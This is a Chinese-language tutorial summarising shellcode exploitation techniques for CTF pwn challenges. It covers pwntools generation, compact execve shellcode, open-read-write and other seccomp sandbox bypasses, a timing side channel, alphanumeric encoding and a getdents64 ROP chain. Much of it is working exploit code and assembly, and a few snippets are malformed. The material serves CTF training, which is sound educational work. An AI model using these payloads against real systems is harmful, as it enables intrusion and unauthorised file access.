总结在 CTF-PWN 中遇到的 shellcode 利用
字数 1101 2025-08-22 18:37:15
CTF-PWN中的Shellcode利用技术详解
一、Shellcode基础概念
Shellcode是通过软件漏洞执行的机器代码,通常用十六进制表示,因能获得shell而得名。在栈溢出攻击中,攻击者会劫持程序流指向shellcode地址执行任意指令。
现代Linux系统常见的防护机制:
- ASLR:地址空间布局随机化
- NX:数据执行保护
- Canary:栈保护
二、Shellcode可用性测试
测试shellcode是否能正确执行的示例代码:
// gcc -zexecstack -g -m32 -o shellcode-test shellcode-test.c
int main(){
char shellcode[] = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA";
void (*run)() = (void(*)())shellcode;
run();
return 0;
}
三、使用pwntools生成shellcode
3.1 基本用法
当输入长度足够且无特殊限制时,可直接使用pwntools生成:
context.arch = elf.arch
shellcode = asm(shellcraft.sh())
- 32位getshell:44字节
- 64位getshell:48字节
3.2 生成指定函数
context.arch = elf.arch
shellcode = shellcraft.function(arg1, arg2...)
示例:生成打开文件的shellcode
shellcode = shellcraft.open('./flag')
四、绕过沙箱限制
4.1 检查沙箱限制
使用seccomp-tools工具:
$ seccomp-tools dump ./pwn
或在exp中:
r = process(["seccomp-tools", "dump", "./pwn"])
4.2 禁用execve的绕过
使用ORW(Open-Read-Write)组合:
32位ORW shellcode(55字节):
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax', 'esp', 0x100)
shellcode += shellcraft.write(1, 'esp', 0x100)
shellcode = asm(shellcode)
64位ORW shellcode(66字节):
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
shellcode = asm(shellcode)
4.3 禁用open/read/write的绕过
使用替代函数组合:
shellcode = shellcraft.openat(0, '/flag', 0)
shellcode += shellcraft.mmap(0x10000, 0x100, 1, 1, 'eax', 0)
shellcode += shellcraft.sendfile(1, 3, 0, 0x100)
shellcode = asm(shellcode)
或使用preadv2+writev:
shellcode = asm('''
/* openat(fd=-0x64, file='flag', oflag=0) */
add rax, 0x62
mov r12, rax
mov rsi, rax
mov rdi, -0x64
mov rax, 0x101
syscall
/* preadv2(vararg_0=3, vararg_1=0x1337090, vararg_2=1, vararg_3=0, vararg_4=0) */
mov rdi, 3
mov rdx, 0x1
add r12, 0x15
mov rsi, r12
mov rax, 327
syscall
/* writev(fd=1, iovec=0x1337090, count=1) */
mov rdi, 1
mov rdx, 0x1
mov rax, 0x14
syscall
''')
4.4 禁用输出的绕过
使用侧信道逐位爆破:
from pwn import *
import string
def pwn(p, index, ch):
code = "push 0x67616c66; mov rdi, rsp; mov rsi, 0x0; mov rax, 0x2; syscall;" # open
code += "mov rdi, 0x3; mov rsi, rsp; mov rdx, 0x30; mov rax, 0x0; syscall;" # read
code += "cmp byte ptr[rsi+jz loop;" % (index, ch) # cmp
code += "xor edi, edi; mov rax, 60; syscall; loop: jmp loop;" # 死循环或退出
code = b"\x90" * 20 + asm(code) # 加nop滑板
p.send(code)
4.5 切换架构绕过
使用retfq切换到32位架构:
- 64位和32位系统调用对应关系:
- fstat → open
- stat → write
五、绕过其他限制
5.1 严格限制输入长度
短字节shellcode示例:
32位getshell(21字节):
shellcode = asm("""
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")
64位getshell(22字节):
shellcode = asm("""
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall
""")
绕过技巧:
- 构造二次read:在有限输入中构造read,向第一次输入点末尾继续填入shellcode
- 利用寄存器或栈中已有值计算所需地址
- 使用\x00开头指令绕过strlen检测
- 汇编优化技巧:
- 用xor rax, rax代替mov rax, 0
- 用cdq指令优化
5.2 限制输入内容
使用alpha3生成可见字符shellcode:
from pwn import *
import os
context(arch='amd64', os='linux')
context.log_level = 'debug'
fp = open("shellcode", "wb+")
fp.write(asm(shellcraft.sh()))
fp.close()
shellcode = os.popen("python ./alpha3/ALPHA3.py x64 ascii mixedcase rax --input=shellcode").read()
print shellcode
禁用\x0f\x05绕过:
使用xor计算得到syscall或切换到32位使用int 80:
push 0x66666963
pop rsi
xor qword ptr [rax + 0x20], rsi
push rbx
pop rdi
xor al, 0x22
push rax
pop rsi
push 0x66666963
pop rdx
push rbx
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
\x6c\x6c\x66\x66
5.3 限制权限
限制shellcode段权限:
使用mprotect修改权限后再次read:
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
远程无读flag权限:
先执行setuid(0)再execve getshell
远程flag文件名未知:
使用getdents64获取文件列表:
p += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(target) + p64(pop_rdx_rbx_ret) + p64(0x100)*2 + p64(read_addr)
p += p64(pop_rdi_ret) + p64(target) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0x0)*2 + p64(open_addr)
p += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(0x404500) + p64(pop_rdx_rbx_ret) + p64(0x400)*2 + p64(getdents64)
p += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(0x404500) + p64(pop_rdx_rbx_ret) + p64(0x400)*2 + p64(write_addr)
5.4 限制只能输入浮点数
使用float类型shellcode(具体实现需根据题目调整)